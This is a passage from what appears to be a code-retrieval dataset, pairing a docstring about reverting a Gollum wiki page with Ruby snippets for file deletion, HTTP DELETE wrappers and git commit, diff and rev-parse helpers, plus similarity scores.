"def remove!(entry)\n rel_path = Wide::PathUtils.relative_to_base(base_path, entry.path)\n\n cmd = cmd_prefix.push('rm', '-f', \"path:#{rel_path}\")\n shellout(Escape.shell_command(cmd))\n\n raise CommandFailed.new(\"Failed to remove file #{src_path} in the Mercurial repository in #{base_path}\") if $? && $?.exitstatus != 0\n end",
"def destroy(path)\n output { delete(path) }\n end",
"def rm path\n end",
"def delete(path)\n path = format_path(path)\n bucket_path = get_bucket_path(path)\n date = gmtdate\n headers = {\n 'Host' => @aliyun_upload_host,\n 'Date' => date,\n 'Authorization' => sign('DELETE', bucket_path, '', '', date)\n }\n url = path_to_url(path)\n response = RestClient.delete(url, headers)\n response.code == 204 ? url : nil\n end",
"def removed_cookbook_file(path)\n end",
"def commit!(message, options={})\n now = Time.now\n \n sha = options.delete(:tree) || tree.write_to(self).at(1)\n parents = options.delete(:parents) || (head ? [head] : [])\n author = options[:author] || self.author\n authored_date = options[:authored_date] || now\n committer = options[:committer] || author\n committed_date = options[:committed_date] || now\n\n # commit format:\n #---------------------------------------------------\n # tree sha\n # parent sha\n # author name <email> time_as_int zone_offset\n # committer name <email> time_as_int zone_offset\n # \n # messsage\n # \n #---------------------------------------------------\n # Note there is a trailing newline after the message.\n #\n lines = []\n lines << \"tree #{sha}\"\n parents.each do |parent|\n lines << \"parent #{parent}\"\n end\n lines << \"author #{author.name} <#{author.email}> #{authored_date.strftime(\"%s %z\")}\"\n lines << \"committer #{committer.name} <#{committer.email}> #{committed_date.strftime(\"%s %z\")}\"\n lines << \"\"\n lines << message\n lines << \"\"\n \n @head = set('commit', lines.join(\"\\n\"))\n grit.update_ref(branch, head)\n \n head\n end",
"def delete(path, options = {}, signature = false, raw = false, unformatted = false, no_response_wrapper = self.no_response_wrapper, signed = sign_requests)\n request(:delete, path, options, signature, raw, unformatted, no_response_wrapper, signed)\n end",
"def delete!\n exist!\n File.unlink @path\n @path = nil\n end",
"def delete_file(request)\n data, _status_code, _headers = delete_file_with_http_info(request)\n data\n end",
"def delete_file(uid, info = {})\n grid_info = files_collection.find(filename: uid).first\n bucket.delete(grid_info[:_id]) if grid_info\n end",
"def delete(path)\n exec { index.delete(path) }\n end",
"def del(path, value)\n\n # Figure out what to delete FROM. Only directories and arrays supported.\n path = Path.new(path) unless path.kind_of?(Path)\n mmap, cmap = dir_walk(path, DW_Fail)\n unless mmap.kind_of?(Hash) and (mmap[:dir] or mmap[:type] == Array)\n raise Error.new(Error::NoDelete, path)\n end\n hook = mmap[:on_change]\n\n # Item delete.\n if mmap[:dir]\n value = value.to_s\n raise Error.new(Error::IllegalName, value) if value.include?(?/)\n raise Error.new(Error::NoPath, path + value) unless mmap[value] and (ce = cmap[value])\n hook.call(HookDelete, cmap, value, ce) if hook\n [TypeItem, path, value, cmap.delete(value)]\n\n # Array delete.\n else\n hook.call(HookArrayDelete, cmap, value) if hook\n raise Error.new(Error::NoArrItem, path, value) unless (v = cmap.delete(value))\n [TypeArray, path, v, cmap]\n\n end\n end",
"def remove_file(path)\n FileUtils.rm_f(path)\n end",
"def remove_file(path)\n FileUtils.rm_f(path)\n end",
"def delete\n path = @p.path\n File::unlink path\n end",
"def fileCleanPath(pathName) \n pathName.mkpath()\n begin\n pathName.rmtree()\n rescue\n puts \"Cannot delete: \" + pathName.to_s\n end\n pathName.mkpath()\nend",
"def delete_page(page, commit)\n index = nil\n sha1 = commit_index(commit) do |idx|\n index = idx\n index.delete(page.path)\n end\n\n dir = ::File.dirname(page.path)\n dir = '' if dir == '.'\n\n @access.refresh\n update_working_dir(index, dir, page.name, page.format)\n\n sha1\n end",
"def destroy_file\n File.delete full_file_path\n rescue\n end",
"def destroy(path)\n directory = connection.directories.get(self.bucket)\n directory ||= connection.directories.create(self.permissions.merge(:key => self.bucket))\n\n file = directory.files.get(path)\n file.destroy if file\n end",
"def delete(path, opts = {})\n input_json = {\n path: path,\n }\n response = @session.do_rpc_endpoint(\"/#{ @namespace }/delete\", input_json)\n Dropbox::API::File.from_json(Dropbox::API::HTTP.parse_rpc_response(response))\n end",
"def delete_file name\n filename = \"#{RAILS_ROOT}/#{@@dir}/#{name}\" \n File.delete filename if File.exists? filename\n end",
"def delete_post_commit\n file_path = @path + '/.git/hooks/post-commit'\n if File.exists? file_path\n File.delete file_path\n end\n end",
"def rm(path)\n run_via \"rm #{path}\"\n end",
"def delete_path(path)\n @zk.delete(path)\n logger.info(\"Deleted ZK node #{path}\")\n rescue ZK::Exceptions::NoNode => ex\n logger.info(\"Tried to delete missing znode: #{ex.inspect}\")\n end",
"def delete_file(path, &b)\n path = Pathname.new(path).cleanpath\n dir = path.dirname\n filename = path.basename\n if fs.directory?(dir) and fs.entries(dir).include?(filename)\n fs.delete_file(path)\n yield true\n else\n yield false\n end\n end",
"def delete(path, **options)\n execute :delete, path, options\n end",
"def deleteUploadFile\n\n filepath = Rails.root.join(path, file_name)\n\n if File.exist? filepath \n File.delete filepath\n end\n\n end",
"def delete\n File.delete(file_name)\n rescue\n # ignore\n end",
"def delete(path, options = {})\n execute('DELETE', path, options)\n end",
"def delete(path)\n bucket.objects.delete(path)\n end",
"def destroy\n # delete a specific message\n end",
"def delete_file(file, version)\n # remove filename, may remove digest if that was last file associated with that digest.\n my_state = get_state(version) # Creates version & copies state from prior version if doesn't exist.\n\n unless version == version_id_list.max\n raise OcflTools::Errors::CannotEditPreviousVersion, \"Can't edit prior versions! Only version #{version_id_list.max} can be modified now.\"\n end\n\n my_digest = get_digest(file, version)\n # we know it's here b/c self.get_digest would have crapped out if not.\n my_array = my_state[my_digest] # Get [Array] of files that have this digest in this version.\n my_array.delete(file) # Delete the array value that matches file.\n if !my_array.empty?\n # update the array with (fewer) items.\n my_state[my_digest] = my_array\n else\n # delete the key.\n my_state.delete(my_digest)\n end\n # put results back into State.\n set_state(version, my_state)\n end",
"def delete(path)\n repository = path.split(/\\//)[2]\n objectid = path.split(/\\//)[3]\n if storage_fetch(repository, objectid) && storage_delete(repository, objectid)\n ['200', {}, []]\n else\n ['404', {}, [\"Repository #{repository} or ObjectID #{objectid} not found: #{path}\"]]\n end\n end",
"def delete\n model.delete_attachment(@path)\n end",
"def delete_file\n File.unlink file\n end",
"def delete_file\n File.unlink file\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def destroy\n @feefile = Feefile.find(params[:id])\n directory= \"uploads\"\n path =File.join(directory,@feefile.feefilename)\n File.delete(path)\n @feefile.destroy\n \n\n respond_to do |format|\n format.html { redirect_to(feefiles_url) }\n format.xml { head :ok }\n end\n end",
"def messagedelete\n TDirmessage.find_by(\"dirmsg_id=?\", params[:messagedelete]).delete\n redirect_back(fallback_location: dirmsgcreate_path)\n end",
"def delete_message(data); end",
"def delete_message(data); end",
"def delete(path)\n request(:delete, path)\n end",
"def delete_file\n begin\n File.delete(stored_file_path)\n rescue => e\n logger.error(\"Could not delete #{stored_file_path}. Ignored.\")\n logger.error(e)\n end\n end",
"def commit(author, message)\n GIT.add relative_path\n GIT.commit message, :author => \"#{ author.name } <#{ author.email }>\"\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete(path, params={})\n request(:delete, path, params)\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def delete(path: nil, payload: nil, headers: {}, query: {}, auth_method: nil)\n execute(\n method: :delete,\n path: path,\n headers: headers,\n query: query,\n payload: payload,\n auth_method: auth_method\n )\n end",
"def delete(path, rev=-1)\n invoke(Request.new(:path => path, :rev => rev, :verb => Request::Verb::DEL))\n nil\n end",
"def delete(path, params = {})\n request(:delete, path, params)\n end",
"def delete(path, params = {})\n request(:delete, path, params)\n end",
"def rm\n path = params[:path] || '/'\n\n if params.has_key?(:files) and params[:files].kind_of?(Array)\n files = params[:files]\n dests = []\n files.each do |file|\n dest = trash_file(File.join(path, file))\n break if dest == false\n dests << dest\n end\n render nothing: true, status: 500 and return if dests.empty?\n\n parent = File.dirname(dests[0])\n dests.map! do |dest|\n File.basename(dest)\n end\n render json: { undo: {\n name: \"Move of #{dests.length} files\",\n action: \"#{move_files_path(parent)}\",\n parameters: { _method: 'put', to: path, files: dests }\n }}\n else # if to move one file to trash\n dest = trash_file(path)\n\n render nothing: true, status: 500 and return if dest == false\n\n render json: { undo: {\n name: \"Move of #{File.basename(path)}\",\n action: \"#{move_files_path(dest)}\",\n parameters: { _method: 'put', to: path }\n }}\n end\n end",
"def delete(path, params={}, args={})\n inject_token_auth_headers!(args)\n response = self.class.delete(request_url(path, params), args)\n update_token_auth_headers(response)\n return response\n end",
"def destroy\n # delete a specific message\n end",
"def delete!\n return true unless File.exist?(path)\n FileUtils.rm(path)\n end",
"def remove_node(node)\n return if !node_file(node).exist?\n\n txn do\n @repo.rm node_file(node)\n\n message = \"remove node #{node.fqn}\"\n @repo.commit message\n log << \"Database commit: #{message}\"\n end\n end",
"def delete(path, data={})\n request(:delete, path, data)\n end"
] |
[
"0.5756956",
"0.56980133",
"0.5590008",
"0.54597086",
"0.5430612",
"0.542552",
"0.5407058",
"0.53949404",
"0.5384353",
"0.5353365",
"0.53005266",
"0.5132617",
"0.50827134",
"0.5073963",
"0.5068417",
"0.5046429",
"0.5045027",
"0.5033839",
"0.5031721",
"0.50297695",
"0.5019818",
"0.50033814",
"0.499871",
"0.4964003",
"0.49556231",
"0.49388927",
"0.4905905",
"0.49023625",
"0.4901647",
"0.48758766",
"0.48716757",
"0.48632193",
"0.48498866",
"0.48483595",
"0.48477495",
"0.48305953",
"0.48243502",
"0.48141667",
"0.4813419",
"0.48093146",
"0.48059052",
"0.48053095",
"0.47999796",
"0.47986737",
"0.47963288",
"0.4784683",
"0.4776387",
"0.47761175",
"0.4775968",
"0.4772303",
"0.47555113",
"0.47555113",
"0.4750712",
"0.4750206",
"0.4746291",
"0.47382745",
"0.47307548",
"0.47305778",
"0.47262084",
"0.4718598",
"0.47119516",
"0.4706077",
"0.47034764",
"0.46886456",
"0.46883428",
"0.4684643",
"0.4682695",
"0.4668531",
"0.46647713",
"0.46617272",
"0.46584845",
"0.46573782",
"0.46562812",
"0.46562812",
"0.46556154",
"0.46521187",
"0.46459427",
"0.46443465",
"0.46443465",
"0.4639731",
"0.4639209",
"0.463382",
"0.46302342",
"0.46302342",
"0.46302342",
"0.46302342",
"0.46302342",
"0.46302342",
"0.46302342",
"0.4620328",
"0.46202314",
"0.4618463",
"0.46124846",
"0.46124846",
"0.46118176",
"0.4604962",
"0.46034294",
"0.45987362",
"0.4597475",
"0.45936522"
] |
0.62943625
|
0
|
Public: Applies a reverse diff for a given page. If only 1 SHA is given, the reverse diff will be taken from its parent (^SHA...SHA). If two SHAs are given, the reverse diff is taken from SHA1...SHA2. page The Gollum::Page to delete. sha1 String SHA1 of the earlier parent if two SHAs are given, or the child. sha2 Optional String SHA1 of the child. commit The commit Hash details: :message The String commit message. :name The String author full name. :email The String email address. :parent Optional Gollum::Git::Commit parent to this update. Returns a String SHA1 of the new commit, or nil if the reverse diff does not apply.
|
def revert_page(page, sha1, sha2 = nil, commit = {})
return false unless page
left, right, options = parse_revert_options(sha1, sha2, commit)
commit_and_update_paths(@repo.git.revert_path(page.path, left, right), [page.path], options)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def revert_commit(sha1, sha2 = nil, commit = {})\n left, right, options = parse_revert_options(sha1, sha2, commit)\n tree, files = repo.git.revert_commit(left, right)\n commit_and_update_paths(tree, files, options)\n end",
"def rev_parse(*args)\n return args if args.empty?\n \n sandbox do |git,w,i|\n shas = git.run('', :rev_parse, '', {}, args).split(\"\\n\")\n \n # Grit::Git#run only makes stdout available, not stderr, and so this\n # wonky check relies on the fact that git rev-parse will print the\n # unresolved ref to stdout and quit if it can't succeed. That means\n # the last printout will not look like a sha in the event of an error.\n unless shas.last.to_s =~ SHA\n raise \"could not resolve to a sha: #{shas.last}\"\n end\n \n shas\n end\n end",
"def revert_to(sha_or_wiki)\n wiki =\n if sha_or_wiki.kind_of?(String)\n wiki.history(sha)\n elsif sha_or_wiki.kind_of?(Wiki)\n sha_or_wiki\n else\n raise \"missing input\"\n end\n\n new_data = wiki.raw_data\n updated_wiki = update do |pg|\n pg.data = new_data\n pg.message = \"Revert from #{wiki.ref}\"\n end\n updated_wiki\n end",
"def diff(other_sha1)\n git \"diff #{other_sha1} -- #{@path}\"\n end",
"def delete_page(page, commit)\n index = nil\n sha1 = commit_index(commit) do |idx|\n index = idx\n index.delete(page.path)\n end\n\n dir = ::File.dirname(page.path)\n dir = '' if dir == '.'\n\n @access.refresh\n update_working_dir(index, dir, page.name, page.format)\n\n sha1\n end",
"def commit_diff(project, sha)\n get(\"/projects/#{project}/repository/commits/#{sha}/diff\") \n end",
"def commit!(sha)\n parent_shas = begin\n [gitrepo.head.target]\n rescue Rugged::ReferenceError\n # this is the first commit\n []\n end\n\n authorship = author.merge(:time => Time.now)\n\n sha = Rugged::Commit.create(gitrepo,\n :message => \"\",\n :author => authorship,\n :committer => authorship,\n :parents => parent_shas,\n :tree => sha,\n :update_ref => \"HEAD\"\n )\n\n sha\n end",
"def page_update_after_destroy\n latest = page.content.versions.reorder(\"#{self.class.table_name}.version DESC\").first\n if latest && page.content.version != latest.version\n raise ActiveRecord::Rollback unless page.content.revert_to!(latest)\n elsif latest.nil?\n raise ActiveRecord::Rollback unless page.destroy\n end\n end",
"def delta(rev)\n $repo.diff(commit, rev).path(@name).patch\n end",
"def revert!(objects = [], commit = nil)\n revert(objects, commit)\n commit(nil, \"Reverted commit #{self.repository.commits.first.sha}\")\n end",
"def diff(opts)\n from, to = opts[:from], opts[:to]\n if from && !(Commit === from)\n raise ArgumentError, \"Invalid sha: #{from}\" if from !~ SHA_PATTERN\n from = Reference.new(:repository => self, :id => from)\n end\n if !(Commit === to)\n raise ArgumentError, \"Invalid sha: #{to}\" if to !~ SHA_PATTERN\n to = Reference.new(:repository => self, :id => to)\n end\n Diff.new(from, to, git_diff_tree('--root', '--full-index', '-u',\n opts[:detect_renames] ? '-M' : nil,\n opts[:detect_copies] ? '-C' : nil,\n from ? from.id : nil, to.id, '--', *opts[:path]))\n end",
"def find_svn_rev_for_commit(repo_path, commit)\n `(cd \"#{repo_path}\" && git svn find-rev #{commit})`.strip\n end",
"def rev_parse(name)\n sha = command('rev-parse', ['--revs-only', name])\n return sha.empty? ? nil : sha\n end",
"def diff_from_parent(options = {})\n @repository.gitaly_commit_client.diff_from_parent(self, options)\n end",
"def delete_contents(repo, path, message, sha, options = {})\n options[:message] = message\n options[:sha] = sha\n url = \"#{Repository.path repo}/contents/#{path}\"\n delete url, options\n end",
"def commit args = {}\n action = :deleted if self.deleted?\n action ||= self.is_new? ? :added : (self.is_changed? ? :updated : :nothing_to_commit) \n args[:skip_part_data] ||= false\n \n unless action.eql?(:nothing_to_commit)\n message = \"#{action} #{name}\"\n message = args[:m] if args[:m] \n if action.eql?(:deleted)\n repo.remove(self.file_name)\n self.history_count += 1\n else\n repo.add(self.file_name)\n end\n\n active_message = self.commit_messages[:most_recent]\n message = \"#{active_message.gsub(message,\"\")}\" unless self.deleted? || active_message.blank? || active_message.eql?(message)\n self.remove_message_from_temp_store(:most_recent) unless active_message.blank?\n \n repo.commit(message)\n self.last_commit = repo.log(self.local_path, :limit => 1).first.to_s\n end\n unless action.eql?(:deleted) \n self.part_count = parts.count\n self.part_count ||= 0 \n update_part_data unless args[:skip_part_data]\n\n self.history_count = self.history.size\n self.history_count = 1 if self.history_count.eql?(0) \n end\n self.save if self.changed?\n \n synchronize unless args[:dont_sync] || self.attributes[\"sync\"].blank? #rather than calling sync.blank? to skip the JSON parsing step.\n return action\n end",
"def revert_to(version_hash)\n tree = self.git.tree(version_hash)\n dir = tree.contents[0] # posts/\n data = dir.contents[0] # 6/\n data.contents.each do |f| # title.txt\n field = f.name.gsub(\".txt\",\"\")\n send(\"#{field.to_sym}=\", f.data)\n end\n save # hm, not sure if I want to do this\n end",
"def fetch_revision(commit)\n `git rev-parse #{commit}`.tr(\"\\n\", '')\n end",
"def diff(objectish = 'HEAD', obj2 = nil)\n Git::Diff.new(self, objectish, obj2)\n end",
"def pre_change_sha(node)\n branch = node['delivery']['change']['pipeline']\n\n if node['delivery']['change']['stage'] == 'verify'\n shell_out(\n \"git rev-parse origin/#{branch}\",\n cwd: repo_path(node)\n ).stdout.strip\n else\n # This command looks in the git history for the last two merges to our\n # pipeline branch. The most recent will be our SHA so the second to last\n # will be the SHA we are looking for.\n command = \"git log origin/#{branch} --merges --pretty=\\\"%H\\\" -n2 | tail -n1\"\n shell_out(command, cwd: repo_path(node)).stdout.strip\n end\n end",
"def safe_rev_parse(*args)\n args.collect! {|arg| rev_parse(arg).at(0) rescue nil }\n end",
"def test_remove_the_same_file_in_both_repos\n a.rm(\"one\").commit(\"a removed one\")\n b.rm(\"one\").commit(\"b removed one\")\n \n assert_equal nil, a['one']\n assert_equal nil, b['one']\n \n b.pull\n \n assert_equal nil, a['one']\n assert_equal nil, b['one']\n \n assert_log_equal [\n \"a added one\",\n \"a removed one\",\n \"b removed one\",\n \"gitgo merge of origin/gitgo into gitgo\"\n ], b\n end",
"def delete_page(page, commit)\n delete_file(page.url_path, commit)\n end",
"def pre_change_sha(node)\n branch = node['delivery']['change']['pipeline']\n\n if node['delivery']['change']['stage'] == 'verify'\n shell_out(\n \"git rev-parse origin/#{branch}\",\n :cwd => node['delivery']['workspace']['repo']\n ).stdout.strip\n else\n # This command looks in the git history for the last two merges to our\n # pipeline branch. The most recent will be our SHA so the second to last\n # will be the SHA we are looking for.\n command = \"git log origin/#{branch} --merges --pretty=\\\"%H\\\" -n2 | tail -n1\"\n shell_out(command, :cwd => node['delivery']['workspace']['repo']).stdout.strip\n end\n end",
"def delete_file(path, commit)\n fullpath = ::File.join([page_file_dir, path].compact)\n multi_commit = !!commit[:committer]\n committer = multi_commit ? commit[:committer] : Committer.new(self, commit)\n\n committer.delete(fullpath)\n\n committer.after_commit do |index, _sha|\n dir = '' if dir == '.'\n @access.refresh\n index.update_working_dir(fullpath)\n end\n\n multi_commit ? committer : committer.commit\n end",
"def sha\n @commit.sha\n end",
"def rev_parse(ref)\n commit = git \"rev-parse #{ref}^{commit}\", :path => @full_path\n commit.chomp\n rescue R10K::ExecutionFailure => e\n logger.error \"Could not resolve ref #{ref.inspect} for git repo #{@full_path}\"\n raise\n end",
"def find_common_commit(downstream_dir, upstream_dir, rev_list_down, rev_list_up)\n\n # start with first commit from downstream\n #rev_list_down.reverse.each do |ref|\n output_size={}\n # NOTE: always just check the last (oldest) commit from downstream.\n # you could iterate through them all, but it would change form O(n) to O(n2)\n # I was thinking it would be annoyingly slow, so I didn't even bother trying\n # rev_list_down.each do |ref|\n ref = rev_list_down.last\n # checkout the last commit from downstream\n checkout(downstream_dir, ref)\n # iterate throuug all upstream commits\n rev_list_up.each do |ref2|\n # checkout upstream code based on that commit\n checkout(upstream_dir, ref2)\n # run the recursive diff\n out = system_cmd(\"diff -r --exclude=.svn --exclude=.git #{upstream_dir} #{downstream_dir}\")\n #puts out\n # if return code is true (ie: they match!)\n if out[1]\n puts \"Upstream #{ref2} matches downstream #{ref}\"\n # return the references that match [downstream, upstream]\n return [ref, ref2]\n else\n output_size[out[0].size] ||= {}\n # if they don't match, save the references, and diff output\n output_size[out[0].size][\"#{ref}_#{ref2}\"] = out[0]\n end\n end\n #end\n smallest = output_size.keys.sort.first\n puts \"the least number of difference found is: #{smallest}\"\n puts \"we found #{output_size[smallest].size} one repos of this diff size\"\n puts \"The output from the first one of this size is:\\n#{output_size[smallest].values.first.join(\"\\n\")}\"\n refs=output_size[smallest].keys.first.split('_')\n puts \"For refs: #{refs}\"\n checkout(downstream_dir, refs[0])\n checkout(upstream_dir, refs[1])\n if output_size[smallest].size == 1\n # if there is only one smallest matching, show the user the diff and ask them if they want\n # to try to rebase anyways\n puts 'Do you want to proceed with rebasing this result?(Yes or No)'\n result = gets\n if result.chomp == 'Yes'\n return refs\n end\n end\n raise \"Could not find any common anscestor\"\nend",
"def update_page(page, name, format, data, commit = {})\n name = name ? ::File.basename(name) : page.name\n format ||= page.format\n dir = ::File.dirname(page.path)\n dir = '' if dir == '.'\n filename = (rename = page.name != name) ? Gollum::Page.cname(name) : page.filename_stripped\n\n multi_commit = !!commit[:committer]\n committer = multi_commit ? commit[:committer] : Committer.new(self, commit)\n\n if !rename && page.format == format\n committer.add(page.path, normalize(data))\n else\n committer.delete(page.path)\n committer.add_to_index(dir, filename, format, data)\n end\n\n committer.after_commit do |index, _sha|\n @access.refresh\n index.update_working_dir(dir, page.filename_stripped, page.format)\n index.update_working_dir(dir, filename, format)\n end\n\n multi_commit ? committer : committer.commit\n end",
"def revert(commitish = nil, opts = {})\n self.lib.revert(commitish, opts)\n end",
"def commit\n read_repo\n if @branches.count < 1\n render :template => 'repositories/commit'\n return\n end\n\n params[:action] = \"commit\"\n\n blank_hash = \"4b825dc642cb6eb9a060e54bf8d69288fbee4904\"\n @commit = @repository.get_commit(@branch)\n @parent = @commit.parent\n @parent = @repository.get_commit(blank_hash) if @parent == nil\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @repository }\n end\n end",
"def remove(log, author=nil, date=nil)\n\t raise NotExist.new(\"not exist: #{@file.inspect}:#{@head_rev}\") if @state == 'dead'\n\t contents = @file.checkout(@head_rev) {|c, a| c}\n\t return mkrev(contents, log, author, date, 'dead')\n\tend",
"def rev_parse # :nodoc:\n hash = nil\n\n Dir.chdir repo_cache_dir do\n hash = Gem::Util.popen(@git, 'rev-parse', @reference).strip\n end\n\n raise Gem::Exception,\n \"unable to find reference #{@reference} in #{@repository}\" unless\n $?.success?\n\n hash\n end",
"def update_page(page, name, format, data, commit = {})\n name ||= page.name\n format ||= page.format\n dir = ::File.dirname(page.path)\n dir = '' if dir == '.'\n index = nil\n sha1 = commit_index(commit) do |idx|\n index = idx\n if page.name == name && page.format == format\n index.add(page.path, normalize(data))\n else\n index.delete(page.path)\n add_to_index(index, dir, name, format, data, :allow_same_ext)\n end\n end\n\n @access.refresh\n update_working_dir(index, dir, page.name, page.format)\n update_working_dir(index, dir, name, format)\n\n sha1\n end",
"def sha\n @sha ||= ENV['HEROKU_SLUG_COMMIT'] || ENV['GIT_SHA'] || `git rev-parse HEAD`.chomp\n end",
"def commit_compare(repo, left, right)\n if left == right\n 0\n elsif repo.descendant_of? left, right\n 1\n elsif repo.descendant_of? right, left\n -1\n else\n nil\n end\n end",
"def heap_down(index)\n left_index = 2 * index + 1\n right_index = 2 * index + 2\n\n return if left_index > @store.length - 1 || right_index > @store.length - 1\n\n child_index = (@store[left_index].key < @store[right_index].key ? left_index : right_index)\n\n unless @store[index].key < @store[child_index].key\n swap(child_index, index)\n\n heap_down(child_index)\n end\n end",
"def move_down_action\n post1 = Post.find(params[:post_id].to_i)\n post2 = Post.where(\"sort_id < ?\", post1.sort_id).order(\"sort_id DESC\").first\n if post1 && post2\n post1_sort_id = post1.sort_id\n post1.sort_id = post2.sort_id\n post2.sort_id = post1_sort_id\n post1.save!\n post2.save!\n end\n return redirect_to \"/admin\"\n end",
"def unsigned_commit_shas(commit_shas)\n return [] if commit_shas.empty?\n\n signed = by_commit_sha(commit_shas).pluck(:commit_sha)\n commit_shas - signed\n end",
"def diff(v1, v2)\n repos.git.diff(v1, v2, path)\n end",
"def test_add_back_a_remotely_removed_file\n a.add(\"two\" => \"two content\").commit(\"a added two\")\n a.rm(\"two\").commit(\"a removed two\")\n b.add(\"two\" => \"two content\").commit(\"b added two\")\n \n assert_equal nil, a['two']\n assert_equal \"two content\", b['two']\n \n b.pull\n \n assert_equal nil, a['two']\n assert_equal \"two content\", b['two']\n \n assert_log_equal [\n \"a added one\",\n \"a added two\",\n \"a removed two\",\n \"b added two\", \n \"gitgo merge of origin/gitgo into gitgo\"\n ], b\n end",
"def commit_hash(branch_or_tag = nil)\n git 'rev-parse', branch_or_tag || 'HEAD'\n end",
"def change_sha(node)\n node['delivery']['change']['sha']\n end",
"def commit_files(author: nil, message: nil, parent: nil, files: {})\n # check parameters\n raise \"no author given\" if author.nil?\n raise \"no message given\" if message.nil?\n\n # get parent commit\n if not parent.nil?\n parent = @wiki.commit_for(parent)\n elsif parent.nil? and not @wiki.repo.head.commit.nil?\n parent = @wiki.commit_for(@wiki.repo.head.commit.id)\n end\n\n unless parent.nil?\n log_debug \" checkpoint (parent #{parent})\"\n if parent.id != @wiki.repo.head.commit.id\n log_debug \" (parent #{parent} is not head)\"\n\n # now check version of each file individually, if it has been\n # changed in one of the changes since parent.\n #\n # if so, raise error, else proceed\n\n files.each do |path,contents|\n next if @wiki.repo.log(nil, path, {:since => parent.authored_date}).empty?\n log_debug \" file has changed\"\n raise \"repo has changed\"\n end\n end\n end\n\n options = {\n :message => message,\n :author => author,\n }\n unless parent.nil?\n options[:parent] = parent\n end\n\n committer = Gollum::Committer.new(@wiki, options)\n\n files.each do |path,contents|\n path = path.dup.gsub(/^\\.\\//, '')\n if contents.nil?\n committer.index.delete(path)\n else\n committer.index.add(path, normalize(contents))\n end\n # if wikifile_exists? path, parent\n # log_debug \" U path: #{path}, contents: #{normalize(contents)}\"\n # committer.index.add(path.dup, normalize(contents))\n # else\n # log_debug \" A path: #{path}, contents: #{normalize(contents)}\"\n # dir, name, format = split_path path\n # committer.add_to_index(dir, name, format, contents)\n # end\n end\n\n committer.after_commit do |index, sha|\n log_debug \" after_commit: #{index}, #{sha}\"\n @wiki.clear_cache\n\n files.each do |path,contents|\n path = path.gsub(/^\\.\\//, '')\n #dir, name, format = split_path path\n unless @wiki.repo.bare\n Dir.chdir(::File.join(@wiki.repo.path, \"..\")) do\n if contents.nil?\n @wiki.repo.git.rm(path, :force => true)\n else\n @wiki.repo.git.checkout(path, 'HEAD')\n end\n end\n end\n end\n\n @wiki_manager.add_to_index(@wiki, index, sha, files)\n end\n\n sha = committer.commit\n log_debug \"sha #{sha}\"\n end",
"def rev_parse(rev)\n git.exec(\"rev-parse\",\"--verify\",rev).chomp\n end",
"def test_remove_a_file\n a.rm(\"one\").commit(\"a removed one\")\n \n assert_equal nil, a['one']\n assert_equal \"one content\", b['one']\n \n b.pull\n \n assert_equal nil, a['one']\n assert_equal nil, b['one']\n \n assert_log_equal [\n \"a added one\",\n \"a removed one\"\n ], b\n end",
"def diff( string, &block )\n # Make sure the directory of the file exists.\n FileUtils.mkdir_p File.dirname( path )\n\n # Write the new string to the file.\n File.open path, 'w' do |f|\n f << Tilt.new( path ).render( string )\n end\n\n # If the file hasn't been checked in, raise an error.\n sh \"git ls-files #{path} --error-unmatch\" do |err|\n raise Errno::ENOENT, path\n end\n\n # If the file has changed, call the block.\n sh \"git diff --exit-code #{path}\" do |err|\n block.call err\n end\n end",
"def destroy\n if @note\n @parent = @note.get_parent if @note\n @note.destroy\n redirect_to :url => \"/\" if !@parent\n redirect_to :url => @parent.relative_url if @parent\n end\n end",
"def convert_node_to_rev(node)\n %x(git rev-list --reverse HEAD | grep -n #{node} | cut -d: -f1).to_i\n end",
"def resolve_rev(hashish)\n hash = @git.rev_parse({:verify => true}, hashish)\n return nil if $?.exitstatus != 0\n return hash.strip\n end",
"def remove(*args)\n commit('remove', *args)\n end",
"def build_page(sha, ref)\n # implement inside child\n end",
"def commit(*to_commit)\n checkout unless ::File.exist?(@wc_path)\n to_commit = @revisions if to_commit.empty?\n to_commit = [to_commit] if (!to_commit.respond_to?(:each) || to_commit.kind_of?(String))\n \n to_commit.each do | rev |\n rev = @revisions.find{ |r| r.name == rev } unless rev.kind_of?(Revision)\n rev.commit(self)\n end\n end",
"def heap_down(index)\n\n left_child_index = 2 * index + 1\n right_child_index = 2 * index + 2\n\n # BASE CASES\n # stop if we're at the last leaf in the tree \n return if @store[left_child_index].nil? && @store[right_child_index].nil?\n # stop if both children are greater than or equal to parent\n return if @store[left_child_index].key >= @store[index].key && @store\n\n # RECURSIVE CASES\n # if parent is greater than left child, swap and look at next level --\n # need @store[index] conditional to stop code running after we've reached \n # the bottom of the heap\n if @store[index] && @store[index].key > @store[left_child_index].key\n @store[index], @store[left_child_index] = @store[left_child_index], @store[index] \n heap_down(left_child_index)\n end\n\n # if parent is greater than right child, swap and look at next level\n if @store[index] && @store[index].key > @store[right_child_index].key\n @store[index], @store[right_child_index] = @store[right_child_index], @store[index] \n heap_down(right_child_index)\n end\n\n end",
"def fallback_diff_refs\n real_refs = diff_refs\n return real_refs if real_refs\n\n likely_base_commit_sha = (first_commit&.parent || first_commit)&.sha\n\n Gitlab::Diff::DiffRefs.new(\n base_sha: likely_base_commit_sha,\n start_sha: safe_start_commit_sha,\n head_sha: head_commit_sha\n )\n end",
"def changed_files(parent_sha, change_sha, node)\n response = shell_out!(\n \"git diff --name-only #{parent_sha} #{change_sha}\",\n :cwd => node['delivery']['workspace']['repo']\n ).stdout.strip\n\n changed_files = []\n response.each_line do |line|\n changed_files << line.strip\n end\n changed_files\n end",
